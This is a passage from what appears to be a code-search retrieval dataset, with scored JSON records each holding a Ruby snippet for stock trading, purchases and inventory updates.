self.cost\n #update user's money and security_group's share quantity which has been sold so far\n User.transaction do\n SecurityGroup.transaction do\n User.find(self.user_id).update_attributes(\n\t\t\t\t\t\t\tmoney: user_current_money - self.cost)\n\n LineShare.create!( \n\t \t\t user_id: self.user_id, \n\t \t\tflu_population_rate: self.flu_population_rate, \n\t \t\tbuilding_num: SecurityGroup.find(self.security_group_id).building_num,\n\t\t\t quantity: self.quantity,\n\t \t\t date_market: self.date_market,\n\t \t\t security_group_id: self.security_group_id)\n\n\t \t\tcurrent_security_group_shares = \n\t\t\t\t\t\t\tSecurityGroup.find(self.security_group_id).shares\n\n\t\t\t SecurityGroup.find(self.security_group_id).update_attributes(\n shares: self.quantity + current_security_group_shares)\n end\n end\n end", "title": "" }, { "docid": "84064171c6b1c4ae34e9a284a24d93df", "score": "0.6746652", "text": "def buyorsell\n #get current price here with rest api\n @trade = Trade.find(params[:name])\n\n if params[:type] == sell\n @trade.volume -= params[:volumechange]\n # add profit to tab\n @trade.tab += params[:volumechange] * @trade.currentprice\n @user.wallet += params[:volumechange] * @trade.currentprice\n else\n @trade.volume += params[:volumechange]\n @user.wallet -= params[:volumechange] * @trade.currentprice\n end\n current_user.tradecount += 1\n current_user.save\n end", "title": "" }, { "docid": "1dbf58d2a7f35b181d147d2af5fc48a8", "score": "0.6681544", "text": "def stock_buy_sell_helper(num_days, prices)\n num_buy_sell_dates = 0\n\n day = 0\n loop do\n # Find local minimum\n while day < num_days - 1 && prices[day] >= prices[day + 1]\n day += 1\n end\n buy_day = day\n\n break if day >= num_days - 1 # last day, can't sell afterwards\n\n # Find local maximum\n while day < num_days - 1 && prices[day] <= prices[day + 1]\n day += 1\n end\n sell_day = day\n\n print \"(#{buy_day} #{sell_day}) \"\n num_buy_sell_dates += 1\n end\n\n if num_buy_sell_dates == 0\n print \"No Profit\"\n end\n print \"\\n\"\nend", "title": "" }, { "docid": "a56890ed5527d8c8cda54372d2005adb", "score": "0.6625666", "text": "def purchase\n @stock -= 1\n end", "title": "" }, { "docid": "e467c89107af8bb7568a2384def6532b", "score": "0.66010416", "text": "def rebuy_purchased\n Authentication.refresh\n concurrence_uuid = JobConcurrence.start { Market.scan_my_histories }\n JobConcurrence.wait_for(concurrence_uuid)\n MarketAsset.with_my_buy_histories(15.minute).quick_order_later\n end", "title": "" }, { "docid": "c877d4410eec22a73599c36dbf58f8ed", "score": "0.6582928", "text": "def buy_process order\n user_current_money = User.find(order.user_id).money\n #update user's money and security's quantity which has been sold so far\n User.transaction do\n Security.transaction do\n User.find(order.user_id).update_attributes!(money: user_current_money - order.cost)\n order.security_group_ids.each do |i|\n LineSecurity.create!( user_id: order.user_id, security_id: security_id, quantity: order.quantity)\n end\n #update corresponding security quantity with the amount that line_security quantity has changed \n security = Security.find(security_id)\n security.assign_attributes(quantity: security.quantity + order.quantity)\n raise InvalidSecurityQuantity unless security.save_with_validation?\n end \n #after buy process, update prices of securities\n Security.update_price\n end\n end", "title": "" }, { "docid": "e46b7a0bb6426fc8b7d8ac2d2a00f9db", "score": "0.6579274", "text": "def get_price_and_update_purchased_stock_and_user_game\n require 'yahoo_stock'\n @purchase = self.purchased_stock\n @user_game = self.purchased_stock.user_game\n self.value_per_stock = ((YahooStock::Quote.new(:stock_symbols => [@purchase.stock_code]).results(:to_array).output[0][1].to_f) * 100).to_i\n # invalid stock code -> no such thing as free stocks\n # can't buy/sell negative stocks\n if self.value_per_stock == 0 or self.qty <= 0\n return false\n end\n money_involved = self.qty * self.value_per_stock\n # can't buy if not enough money\n if self.is_buy and @user_game.balance >= money_involved\n @purchase.total_qty += self.qty\n @purchase.money_spent += money_involved\n @purchase.value_in_stocks += money_involved\n @user_game.balance -= money_involved\n @user_game.total_value_in_stocks += money_involved\n self.save!\n @purchase.save!\n @user_game.save!\n return true\n # can't sell more than you currently have\n elsif (!self.is_buy) and @purchase.total_qty >= self.qty\n @purchase.total_qty -= self.qty\n @purchase.money_earned += money_involved\n @purchase.value_in_stocks -= money_involved\n @user_game.balance += money_involved\n @user_game.total_value_in_stocks -= money_involved\n self.save!\n @purchase.save!\n @user_game.save!\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "fa4b8cecc85c25725f786ee8656a36a7", "score": "0.65540487", "text": "def purchase \n #updates traveler inventory \n #creates a transaction \n @quantity = params[:quantity].to_i\n @item_id = params[:item_id]\n @item_to_update = @traveler.travelerinventories.where(item_id: @item_id)\n @item = Item.find(@item_id)\n @total_cost = @item.cost * @quantity\n @shopkeeper = Shopkeeper.first\n @shop_quantity_record = @shopkeeper.shopinventories.where(item_id: @item_id).first\n @shop_quantity = @shop_quantity_record[:quantity]\n\n \n if @item_to_update.empty?\n\n if isValidTransaction?\n #subract traveler gold\n @traveler.gold = @traveler.gold - @total_cost\n @traveler.update(gold: @traveler.gold)\n\n #subract shopkepper quantity\n @shop_quantity = @shop_quantity - @quantity\n @shop_quantity_record.update(quantity: @shop_quantity)\n \n #add quantity to traveler item\n Travelerinventory.create(traveler_id: @traveler.id, item_id: params[:item_id], quantity: params[:quantity])\n\n Transaction.create(total: @total_cost, traveler_id: @traveler.id, shopkeeper_id: @shopkeeper.id, item_id: @item.id)\n redirect_to traveler_path\n\n else \n flash[:message] = \"Insufficent Gold!\"\n redirect_to traveler_path\n end\n \n elsif isValidTransaction? && @item_to_update.update(quantity: (params[:quantity].to_i + @item_to_update.first.quantity)) \n \n @traveler.gold = @traveler.gold - @total_cost\n @traveler.update(gold: @traveler.gold)\n\n #subract shopkepper quantity\n @shop_quantity = @shop_quantity - @quantity\n @shop_quantity_record.update(quantity: @shop_quantity)\n\n Transaction.create(total: @total_cost, traveler_id: @traveler.id, shopkeeper_id: @shopkeeper.id, item_id: @item.id)\n\n redirect_to traveler_path\n else\n flash[:message] = \"Something went wrong!\"\n redirect_to traveler_path\n end\n\n end", "title": "" }, { "docid": "12cb5eb0053955ba52b42b4000fbeb3c", "score": "0.6543472", "text": "def save_buy_a_product(product_buy)\n prod_num = product_buy[1].to_i\n total_price = []\n new_list = []\n price = \"\"\n show_product_info.each do |product|\n existence = product.inventary.to_i \n if product_buy[0] != product.product_name\n new_list << product\n elsif product_buy[0] == product.product_name && prod_num <= existence\n product.inventary = existence - prod_num\n new_list << product\n price = product.price\n total_price << price << prod_num << product.product_name\n else\n new_list << product\n end\n end\n save_all_products(new_list) \n total_price\n end", "title": "" }, { "docid": "02dfc75310f4d1f272c724db31302578", "score": "0.6541529", "text": "def profit(stocks, buy, sell)\n fail \"sell <= buy\" if sell <= buy\n stocks[sell] - stocks[buy]\nend", "title": "" }, { "docid": "ea1159681d2db1ddefcc20b834a0e83b", "score": "0.65403605", "text": "def void_last_transaction\n self.price[:qty].times do\n items.pop(1);\n end\n if items.length == 0\n self.total = 0;\n else\n self.total -= self.price[:val]\n end\n end", "title": "" }, { "docid": "38d13a9fcfdbeb3e4a03730e19799a91", "score": "0.6531639", "text": "def buy(amount, price = exchange.ticker.sell_price)\n amount = Rational(amount)\n raise ArgumentError, %Q{can not buy negative amount of #{exchange.item}} if amount < 0\n price = Rational(price)\n # \n wait until exchange.ticker.sell_price <= price \n # Buy!\n money_spent = nil\n with_account do\n # Prepare positions.\n account[exchange.item] ||= 0\n account[exchange.currency] ||= 0\n # Buy!\n account[exchange.currency] -= (money_spent = (amount * exchange.ticker.sell_price) * (1 + commission))\n account[exchange.item] += amount\n end\n #\n log(\n \"---\",\n \"time: #{Time.now}\",\n \"operation: buy\",\n \"ticker: {buy: #{exchange.ticker.buy.to_f}, sell: #{exchange.ticker.sell.to_f}}\",\n balance_to_yaml(\n exchange.currency => -money_spent,\n exchange.item => +amount\n )\n )\n end", "title": "" }, { "docid": "613fa02d2f6ceac5fce9f7ef4fbbfab5", "score": "0.65306854", "text": "def check_stock!\n purchase_temp = Purchase.new(exchange_id: self.exchanges.last.id,\n rut: '123456785',\n email: 'test@acid.cl',\n password: '12345678')\n\n if purchase_temp.valid?\n unless self.sold_at.nil?\n self.sold_at = nil\n self.save\n end\n else\n unless self.sold_at.presence\n self.sold_at = DateTime.now\n self.save\n end\n end\n end", "title": "" }, { "docid": "b0fb572491b1d85940c03014dc7a2ae3", "score": "0.651995", "text": "def deduct_stock(n)\n self.product_parts.each do |pp|\n pp.part.qty = pp.part.qty - pp.qty * n\n pp.part.save\n end\n self.product_assemblies.each do |pp|\n pp.assembly.qty = pp.assembly.qty - pp.qty * n\n pp.assembly.save\n end\n self.qty = self.qty + n\n self.save\n t = Transaction.new\n t.transaction_type = 'Deduct Stock for Product'\n t.description = \"Removed parts and assemblies from stock to make \" + n.to_s + \" new \" + self.name\n t.save\n end", "title": "" }, { "docid": "e7357a9bb46af070aa10108588768902", "score": "0.65162027", "text": "def trade(date)\n seconds_per_day = 60*60*24\n quote = StockQuote::Stock.quote(@symbol,date - 2*seconds_per_day, date - 1*seconds_per_day)\n if quote[0].close > quote[1].close\n \"buy on #{date}\"\n else\n \"sell on #{date}\"\n end\n end", "title": "" }, { "docid": "b68f3bb23b97fdf9f2b46e95371952e6", "score": "0.65139216", "text": "def buy\n\tend", "title": "" }, { "docid": "a10c000c11eca635fd81be1c187e309c", "score": "0.6509197", "text": "def sell_stock (stock, amount)\n\t\tnew_amount = @portfolio[stock].to_f - amount.to_f\n\t\tif new_amount < 0 \n\t\t\tputs \"Trade invalid. You cannot go short stock. Your holdings must be positive.\"\n\t\t\t@short_stock = true\n\t\telse\t\n\t\t\t@portfolio[stock] = new_amount\n\t\t\t@short_stock = false\n\t\tend\t\n\tend", "title": "" }, { "docid": "2b9bdb49c9550fa8cbf47feae62f92e1", "score": "0.65051544", "text": "def buy (stock, amount)\n $cash-= stock * amount + 3\nend", "title": "" }, { "docid": "31510f81ba3d036d313a2d7e6d3a7360", "score": "0.64919394", "text": "def buy\n end", "title": "" }, { "docid": "0332dd59ab191ecb48dca168dd60df3f", "score": "0.647035", "text": "def update_tobuy\n # XYZFIX P1 - this is a shitty algorithm.\n\n num_copies, pain = copies_needed()\n\n tb = tobuy || Tobuy.new(:product_id => product_id, :quant => -1, :pain => -1)\n tb.update_attributes(:quant => num_copies, :pain => pain)\n\n return [ num_copies, pain]\n end", "title": "" }, { "docid": "89391e5f18ebdcc0cc11f184e7d839f3", "score": "0.6469386", "text": "def settlement\n messages = []\n alerts = []\n\n self.portfolios += [self.portfolio]\n\n self.month += 1\n\n # produce\n production_vol = self.capped_production\n self.ingredient -= production_vol / INGREDIENT2PRODUCT\n messages << \"🏭 Consume #{production_vol / INGREDIENT2PRODUCT}t ingredients\" if 0 < production_vol\n messages << \"🏭 Produce #{production_vol}t products\" if 0 < production_vol\n\n self.quality = (self.quality * self.product + self.factory.production_quality * production_vol) / (self.product + production_vol).to_f\n self.quality = 0 if self.quality.nan?\n self.product += production_vol\n\n # Deliver products\n (delivery_total, sales_total) = [0, 0]\n self.signed_contracts.each do |contract, month|\n trade = contract.trade(self.current_month)\n payment_trade = contract.trade(MONTHS[(self.month - 3) % 12])\n\n if trade.required_products <= self.product\n # good\n self.product -= trade.required_products\n sales_total += payment_trade.sales if 2 < self.month - month\n\n delivery_total += trade.required_products\n else\n # penalty\n self.cash -= trade.sales * 10\n\n alerts << \"⚠️ Products not enough\"\n alerts << \"💸 Pay $#{trade.sales * 10}K penalty for contract #{contract.name}\"\n end\n end\n self.cash += sales_total\n if 0 < delivery_total\n messages << \"📜 Deliver #{delivery_total}t products\"\n messages << \"📜 Gain $#{sales_total}K sales\"\n end\n\n credit_diff = 0\n if 0 < delivery_total\n credit_diff =\n case quality - credit\n when (10..)\n 3\n when (5..)\n 2\n when (1..)\n 1\n when (0..)\n 0\n when (-5..)\n -1\n when (-10..)\n -2\n else\n -3\n end\n messages << \"❤️ #{\"++-\"[credit_diff <=> 0]}#{credit_diff.abs} credit from product quality\"\n end\n\n # advertise\n if self.advertising\n credit_diff += 10\n messages << \"❤️ +10 credit from advertisement\"\n\n self.advertising = false\n end\n self.credit = self.class.normalize_credit(self.credit + credit_diff) if credit_diff\n\n # pay fees\n self.cash -= self.storage / 100\n messages << \"🗄️ Pay $#{self.storage / 100}K for storage\" if 0 < storage\n\n salary = self.organization_salary\n self.cash -= salary\n messages << \"💼 Pay $#{salary}K for salary\" if 0 < salary\n\n self.cash -= self.interest\n messages << \"🏦 Pay $#{self.interest}K for interest\" if 0 < interest\n\n equipments_cost = self.factory.equipments_cost\n self.cash -= equipments_cost\n messages << \"🏭 Pay $#{equipments_cost}K for factory equipments\" if 0 < equipments_cost\n\n # receive ingredients\n if 0 < self.ingredient_subscription\n self.ingredient += self.ingredient_subscription\n fee_subscription = (self.ingredient_subscription * 0.10).to_i\n self.cash -= fee_subscription\n messages << \"📦 Receive #{self.ingredient_subscription}t ingredient\"\n messages << \"📦 Pay $#{fee_subscription}K for subscription\"\n end\n\n # overflow\n if self.storage < self.ingredient + self.product\n diff = self.ingredient - (self.storage - self.product)\n penalty = (diff / 5.0).ceil\n\n alerts << \"🗑️ Dispose #{diff}t ingredient due to overflow\"\n alerts << \"🗑️ Pay $#{penalty}K penalty for the ingredient overflow\"\n self.ingredient -= diff\n self.cash -= penalty\n end\n\n if self.cash < 0\n alerts << \"💵 Cash balance $#{self.cash}K\"\n else\n messages << \"💵 Cash balance $#{self.cash}K\"\n end\n self.portfolios += [self.portfolio]\n\n self.messages = messages\n self.alerts = alerts\n nil\n end", "title": "" }, { "docid": "3151386c738917e7b2fc7ca55ff54ec4", "score": "0.6465294", "text": "def brain\n tmp=$last_global_trade\n amount=$amount_to_trade\n entry = @data[:position][:avgEntryPrice]\n target1=tmp +2.5\n target2=tmp -2.5\n #target1=(entry +2.5) ; (target1 = (target1*2).ceil.to_f / 2) if ($last_global_trade < @data[:position][:avgEntryPrice])\n #target2=(entry -2.5) ; (target2 = (target2*2).ceil.to_f / 2) if ($last_global_trade > @data[:position][:avgEntryPrice])\n amount+=1 if amount == @data[:position][:currentQty] \n amount+=1 if (amount*2) == @data[:position][:currentQty]\n\n sell_count=0 \n buy_count=0\n @data[:orders].each do |x| \n if not x[:Id].include? \"manual\"\n if x[:Side] == 'Sell'\n sell_count+=1\n elsif x[:Side] == 'Buy'\n buy_count+=1\n end\n end\n end\n total_orders=sell_count + buy_count \n if total_orders == 2\n if @data[:position][:currentQty] > 0 #long\n @data[:orders].each do |o| \n if ((o[:Side] == 'Sell' and ((o[:Price] - @data[:position][:avgEntryPrice]) > 10)) and ($last_global_trade < @data[:position][:avgEntryPrice]))\n target4=entry + 5\n target4 = (target4*2).ceil.to_f / 2\n order = @client.order(clOrdID: o[:Id]).update price: target4, orderQty: +((@data[:position][:currentQty].abs/3).ceil.round)\n push(\"Ammended Sell order a bit closer!\")\n o[:Price] = target4\n o[:Num] = +(@data[:position][:currentQty].abs/3).ceil.round\n end\n if ((o[:Side] == 'Buy' and ((@data[:position][:avgEntryPrice] - o[:Price]) > 10)) and ($last_global_trade > @data[:position][:avgEntryPrice]))\n target4=entry - 5\n target4 = (target4*2).ceil.to_f / 2\n order = @client.order(clOrdID: o[:Id]).update price: target4 #, orderQty: ((@data[:position][:currentQty].abs/3).ceil.round)\n #@data[:position][:currentQty].abs/3).ceil.round)\n push(\"Ammended Sell order a bit closer!\")\n o[:Price] = target4\n end\n end\n elsif @data[:position][:currentQty] < 0 #short\n @data[:orders].each do |o| \n if ((o[:Side] == 'Buy' and ((@data[:position][:avgEntryPrice] - o[:Price]) > 10)) and ($last_global_trade > @data[:position][:avgEntryPrice]))\n target4=entry - 5\n target4 = (target4*2).ceil.to_f / 2\n order = @client.order(clOrdID: o[:Id]).update price: target4, orderQty: ((@data[:position][:currentQty].abs/3).ceil.round)\n #@data[:position][:currentQty].abs/3).ceil.round)\n push(\"Ammended Buy order a bit closer!\")\n o[:Price] = target4\n o[:Num] = (@data[:position][:currentQty].abs/3).ceil.round\n end\n if ((o[:Side] == 'Sell' and ((o[:Price] - @data[:position][:avgEntryPrice]) > 10)) and ($last_global_trade < @data[:position][:avgEntryPrice]))\n target4=entry + 5\n target4 = (target4*2).ceil.to_f / 2\n order = @client.order(clOrdID: o[:Id]).update price: target4 #, orderQty: ((@data[:position][:currentQty].abs/3).ceil.round)\n #@data[:position][:currentQty].abs/3).ceil.round)\n push(\"Ammended Sell order a bit closer!\")\n o[:Price] = target4\n end\n end\n else\n push(\"Error! Order-ammend issue!\")\n end\n sleep 3\n elsif total_orders < 2 #and @data[:margin][:availableMargin] > 200\n if @data[:position][:currentQty] != 0 \n if @data[:position][:currentQty] > 0 #long\n @data[:orders].each do |o| \n if ((o[:Side] == 'Sell' and ((o[:Price] - @data[:position][:avgEntryPrice]) > 10)) and ($last_global_trade < @data[:position][:avgEntryPrice]))\n target4=entry + 5\n target4 = (target4*2).ceil.to_f / 2\n order = @client.order(clOrdID: o[:Id]).update price: target4, orderQty: +((@data[:position][:currentQty].abs/3).ceil.round)\n push(\"Ammended Sell order a bit closer!\")\n o[:Price] = target4\n o[:Num] = +(@data[:position][:currentQty].abs/3).ceil.round\n end\n if ((o[:Side] == 'Buy' and ((@data[:position][:avgEntryPrice] - o[:Price]) > 10)) and ($last_global_trade > @data[:position][:avgEntryPrice]))\n target4=entry - 5\n target4 = (target4*2).ceil.to_f / 2\n order = @client.order(clOrdID: o[:Id]).update price: target4 #, orderQty: ((@data[:position][:currentQty].abs/3).ceil.round)\n #@data[:position][:currentQty].abs/3).ceil.round)\n push(\"Ammended Sell order a bit closer!\")\n o[:Price] = target4\n end\n end\n elsif @data[:position][:currentQty] < 0 #short\n @data[:orders].each do |o| \n if ((o[:Side] == 'Buy' and ((@data[:position][:avgEntryPrice] - o[:Price]) > 10)) and ($last_global_trade > @data[:position][:avgEntryPrice]))\n target4=entry - 5\n target4 = (target4*2).ceil.to_f / 2\n order = @client.order(clOrdID: o[:Id]).update price: target4, orderQty: ((@data[:position][:currentQty].abs/3).ceil.round)\n #@data[:position][:currentQty].abs/3).ceil.round)\n push(\"Ammended Buy order a bit closer!\")\n o[:Price] = target4\n o[:Num] = (@data[:position][:currentQty].abs/3).ceil.round\n end\n if ((o[:Side] == 'Sell' and ((o[:Price] - @data[:position][:avgEntryPrice]) > 10)) and ($last_global_trade < @data[:position][:avgEntryPrice]))\n target4=entry + 5\n target4 = (target4*2).ceil.to_f / 2\n order = @client.order(clOrdID: o[:Id]).update price: target4 #, orderQty: ((@data[:position][:currentQty].abs/3).ceil.round)\n #@data[:position][:currentQty].abs/3).ceil.round)\n push(\"Ammended Sell order a bit closer!\")\n o[:Price] = target4\n end\n end\n else\n push(\"Error! Order-ammend issue!\")\n end\n if total_orders < 2 and @data[:position][:currentQty] > 0 #long\n if ($last_global_trade < @data[:position][:avgEntryPrice])\n target1=(entry + 2.5) ; (target1 = (target1*2).ceil.to_f / 2) \n end\n if ($last_global_trade < @data[:position][:avgEntryPrice])\n target1=(entry +2.5) ; (target1 = (target1*2).ceil.to_f / 2)\n end\n if (amount*2) == @data[:position][:currentQty].abs\n amount +=3\n end\n (target3=entry +5 ; target3 = (target3*2).ceil.to_f / 2)\n (set_trade('limit',target2,amount) ; total_orders+=1) if (@data[:margin][:marginLeverage] < $max_leverage and buy_count==0) # long ej tjock ingen longorder\n (set_trade('limit',target1,-amount*2) ; total_orders+=1) if ($last_global_trade > entry and sell_count==0) # short take profit\n (set_trade('limit',target3,-(@data[:position][:currentQty]/3).ceil.round) ; total_orders+=1) if ($last_global_trade < entry and sell_count==0) #short above loss\n # return\n end\n if total_orders < 2 and @data[:position][:currentQty] < 0 #short\n if ($last_global_trade > @data[:position][:avgEntryPrice])\n target2=(entry +2.5) ; (target2 = (target2*2).ceil.to_f / 2)\n end\n if ($last_global_trade < @data[:position][:avgEntryPrice])\n target1=(entry +2.5) ; (target1 = (target1*2).ceil.to_f / 2)\n end\n if (amount*2) == @data[:position][:currentQty].abs\n amount +=3\n end\n (target4=entry -5 ; target4 = (target4*2).ceil.to_f / 2)\n (set_trade('limit',target1,-amount) ; total_orders+=1) if (@data[:margin][:marginLeverage] <= $max_leverage and sell_count==0) # short ej tjock ingen shortorder\n (set_trade('limit',target2,amount*2) ; total_orders+=1) if ($last_global_trade < entry and buy_count==0) #buy take profit\n (set_trade('limit',target4,(@data[:position][:currentQty]/3).ceil.round.abs) ; total_orders+=1) if ($last_global_trade > entry and buy_count==0) #long above loss\n end\n end\n if total_orders == 0 \n set_trade('limit',target1,-amount) if @data[:margin][:marginLeverage] < $max_leverage and sell_count==0\n set_trade('limit',target2,amount) if @data[:margin][:marginLeverage] < $max_leverage and buy_count==0\n end\n sleep 3\n end\n sleep 3\n \nend", "title": "" }, { "docid": "832ef1fdfa9eec674ee031808487c383", "score": "0.6453164", "text": "def add_to_transactions\n if @product.in_stock?(quantity)\n in_stock_add_to_transactions\n else\n raise OutOfStockError, \"#{@product.title} is currently out of stock\"\n end\n end", "title": "" }, { "docid": "960e87dfa9bd886a2b4d7f37c58dc517", "score": "0.64499986", "text": "def buy_stock\n ticker = params[:ticker_symbol].upcase\n shares = params[:shares]\n price = params[:price]\n user = User.find_by(fbUserId:session[:user])\n\n #input validation\n if validate_stock_input(shares, ticker, price, params[:timestamp])\n if params[:timestamp] == nil\n timestamp = DateTime.now\n else\n puts params[:timestamp]\n timestamp = DateTime.strptime(params[:timestamp], '%m/%d/%Y %H:%M:%S %p')\n now = DateTime.now\n timestamp = timestamp.change(:offset => now.zone)\n end\n\n #update Stock table\n stock = Stock.find_by(user_id:user.id, ticker_symbol:ticker)\n cost = (shares.to_i * price.to_f.round(2)).round(2)\n if stock != nil\n stock.shares += shares.to_i\n stock.base_cost += cost\n stock.last_price = price.to_f.round(2)\n else\n stock = Stock.new(ticker_symbol:ticker, shares:shares.to_i, user_id:user.id, base_cost:cost, last_price:price.to_f.round(2))\n end\n \n if stock.valid?\n stock.save()\n\n else\n puts \"==========================================\"\n puts \"Transaction failed. stock entry invalid.\"\n puts \"==========================================\"\n end\n\n #record the transaction\n tran = Transaction.new( ticker_symbol:ticker, \\\n user_id:user.id, \\\n timestamp:timestamp, \\\n price:price.to_f.round(2), \\\n shares:shares.to_i \\\n )\n if tran.valid?\n tran.save()\n #log to console\n puts \"===================================\"\n puts \"Transaction Complete\"\n puts \"user id: #{user.id}\"\n puts \"user fbUserId: #{user.fbUserId}\"\n puts \"stock: #{stock.ticker_symbol}\"\n puts \"shares: #{tran.shares}\"\n puts \"price: #{tran.price}\"\n\n puts \"shares held: #{stock.shares}\"\n puts \"base cost: #{stock.base_cost}\"\n puts \"===================================\"\n else\n #TODO: render failure template but this shouldn't happen since client validates\n puts \"==========================================\"\n puts \"Transaction failed. transaction entry invalid.\"\n puts \"==========================================\"\n return false\n end\n puts tran.inspect\n\n else\n puts \"=============================\"\n puts \"invalid inputs. return false\"\n puts \"=============================\"\n end\n if !params[:internal]\n render:nothing => true\n end\n \n end", "title": "" }, { "docid": "cb5a449e98e112f9439fc4ca0036a5e4", "score": "0.6449199", "text": "def transaction(purchases, &block)\n data = StockData.new(purchases.keys, DEFAULT_INFO)\n data.each do |stock|\n price = stock.last_trade.to_f\n if not price == 0\n history = @stocks[ stock.symbol ] ||= StockHistory.new(stock.symbol, stock.name)\n yield [history, purchases[stock.symbol], stock.last_trade.to_f]\n else\n puts \"Couldn't find #{stock.symbol}.\"\n end\n end\n end", "title": "" }, { "docid": "48bd0fc95b6f792e9b5a78dac5cf5136", "score": "0.6445444", "text": "def fok_buy(account:, venue:, stock:, price:, qty:)\n generic_order(account, venue, stock, price, qty, 'buy', 'fill-or-kill')\nend", "title": "" }, { "docid": "fb6307f9f62b5ee3de64e0cc3e95f6f0", "score": "0.64406675", "text": "def create_trade_record(market, quantity, book_cost)\n trade = {:market => market, :direction => \"BUY\", :quantity => quantity,\n :book_cost => book_cost, :date => Time.now}\n @transactions << trade\n # if the equity is already held,\n # if current_holding_of(market) == true\n # # update shit, which means add current purchases to existing purchases\n # # -- find the relevant hash in current_holdings for the equity in question\n # @current_holdings[market]\n # # -- add the book_cost of current trade to average_buy_price in current_holdings\n # @current_holdings[market][:book_cost] = trade[:book_cost] + @current_holdings[market][:book_cost]\n # # -- add the quantity of current trade to quantity in current_holdings\n # @current_holdings[market][:quantity] = trade[:quantity] + @current_holdings[market][:quantity]\n # else # if the equity is NOT already held,\n # # add a new record\n # @current_holdings = {market => {:market => market, :quantity => quantity,\n # :book_cost => book_cost, :average_buy_price => book_cost }}\n # end\n #update the balance\n @balance = @balance - book_cost\n end", "title": "" }, { "docid": "1a02e3366211929ed01a3157122de1e9", "score": "0.6438383", "text": "def sell(amount)\n @sold_amount += amount if amount_remaining >= amount\n end", "title": "" }, { "docid": "e6cfd4cc5194d44d9aea48a53d2173b5", "score": "0.64359725", "text": "def cash_up\n total = 0\n items.each { |item| total += item.price if item.sold? }\n\n provision = if total > 19 \n Calculator.round_base(total * event.provision / 100, 0.5)\n else\n 0\n end\n\n fee = total > 19 ? event.fee : 0\n\n payback = total - provision + fee\n\n [total, provision, fee, payback] \n end", "title": "" }, { "docid": "0bf6fe711ad90f08f261788ba0b916d9", "score": "0.64311534", "text": "def sell_stock\n ticker = params[:ticker_symbol].upcase\n shares = params[:shares]\n price = params[:price]\n user = User.find_by(fbUserId:session[:user])\n\n #input validation\n if validate_stock_input(shares, ticker, price, params[:timestamp])\n if params[:timestamp] == nil\n timestamp = DateTime.now\n else\n timestamp = DateTime.strptime(params[:timestamp], '%m/%d/%Y %H:%M:%S %p')\n now = DateTime.now\n timestamp = timestamp.change(:offset => now.zone)\n end\n\n shares = shares.to_i * -1\n price = price.to_f.round(2)\n\n #update Stock table\n stock = Stock.find_by(user_id:user.id, ticker_symbol:ticker)\n cost = (shares * price).round(2)\n if stock != nil and (shares * -1 <= stock.shares)\n stock.shares += shares\n stock.base_cost += cost\n stock.last_price = price.to_f.round(2)\n else\n #user doesn't own this stock\n ##TODO: render failure template but this shouldn't happen since client validates\n puts \"==========================================\"\n puts \"Transaction failed. transaction entry invalid.\"\n puts \"==========================================\"\n return false\n end\n \n if stock.valid?\n stock.save()\n else\n puts \"==========================================\"\n puts \"Transaction failed. stock entry invalid.\"\n puts \"==========================================\"\n end\n\n #record the transaction\n tran = Transaction.new( ticker_symbol:ticker, \\\n user_id:user.id, \\\n timestamp:timestamp, \\\n price:price, \\\n shares:shares \\\n )\n if tran.valid?\n tran.save()\n #log to console\n puts \"===================================\"\n puts \"Transaction Complete\"\n puts \"user id: #{user.id}\"\n puts \"user fbUserId: #{user.fbUserId}\"\n puts \"stock: #{stock.ticker_symbol}\"\n puts \"shares: #{tran.shares}\"\n puts \"price: #{tran.price}\"\n\n puts \"shares held: #{stock.shares}\"\n puts \"base cost: #{stock.base_cost}\"\n puts \"===================================\"\n else\n #TODO: render failure template but this shouldn't happen since client validates\n puts \"==========================================\"\n puts \"Transaction failed. transaction entry invalid.\"\n puts \"==========================================\"\n return false\n end\n puts tran.inspect\n\n=begin\n if stock.shares <= 0\n stock.destroy()\n puts \"===========================================================\"\n puts \"User no longer owns any shares of this stock. destroying...\"\n puts \"===========================================================\"\n end\n=end\n\n else\n puts \"=============================\"\n puts \"invalid inputs. return false\"\n puts \"=============================\"\n end\n if !params[:internal]\n render:nothing => true\n end\n end", "title": "" }, { "docid": "606deb146f0b6ffdf3167f72412418ab", "score": "0.6413383", "text": "def sell(amount, price = exchange.ticker.buy_price)\n amount = Rational(amount)\n raise ArgumentError, %Q{can not sell negative amount of #{exchange.item}} if amount < 0\n price = Rational(price)\n # \n wait until exchange.ticker.buy_price >= price\n # Sell!\n money_gained = nil\n with_account do\n # Prepare positions.\n account[exchange.item] ||= 0\n account[exchange.currency] ||= 0\n # Sell!\n account[exchange.item] -= amount\n account[exchange.currency] += (money_gained = (amount * exchange.ticker.buy_price) * (1 - commission))\n end\n #\n log(\n \"---\",\n \"time: #{Time.now}\",\n \"operation: sell\",\n \"ticker: {buy: #{exchange.ticker.buy.to_f}, sell: #{exchange.ticker.sell.to_f}}\",\n balance_to_yaml(\n exchange.currency => +money_gained,\n exchange.item => -amount\n )\n )\n end", "title": "" }, { "docid": "337f236b6578a0866f5aa9bfa98c0b3a", "score": "0.63980144", "text": "def stock_picker(prices)\n\t# max_gain, buy_day, sell_day, current_day = 0, 0, 0, 0\n\n\t# while prices.length > 0\n\t# \tcurrent_price = prices.shift\n\t# \tprices.each_with_index do |price, day|\n\t# \t\tif current_price - price > max_gain\n\t# \t\t\tbuy_day = current_day\n\t# \t\t\tsell_day = day + current_day + 1\n\t# \t\t\tmax_gain = current_price - price\n\t# \t\tend\n\t# \tend\n\t# \tcurrent_day += 1\n\t# end\n\n\tdiff, i, j, dates = 0, 0, 1, []\n\twhile i < prices.length\n\t\twhile j < prices.length\n\t\t\tif (prices[j] - prices[i]) > diff\n\t\t\t\tdiff = (prices[j] - prices[i])\n\t\t\t\tdates[0] = i\n\t\t\t\tdates[1] = j\n\t\t\tend\n\t\t\tj += 1\n\t\tend\n\t\tj = i + 1\n\t\ti += 1\n\tend\n\n\tputs \"You should buy on day #{dates[0]} and sell on day #{dates[1]} for a profit of $#{diff}.\"\n\nend", "title": "" }, { "docid": "390e85779568e48e6b133a124591fd3f", "score": "0.6395427", "text": "def buy_stock (symbol, num_shares)\n if validate_buy(symbol, num_shares)\n current_price = MyHelper.get_current_stock_price(symbol)\n transaction_price = current_price * num_shares\n self.update(current_cash: self.current_cash - transaction_price)\n new_investment = Investment.new(\n symbol: symbol.upcase, \n purchase_price: current_price, \n current_price: current_price, \n purchase_date: current_date_to_YYYYMMDD, \n portfolio_id: self.id, \n num_shares: num_shares\n )\n if aggregate_investments_same_stock_and_date(new_investment) == nil\n new_investment.save\n end\n end\n end", "title": "" }, { "docid": 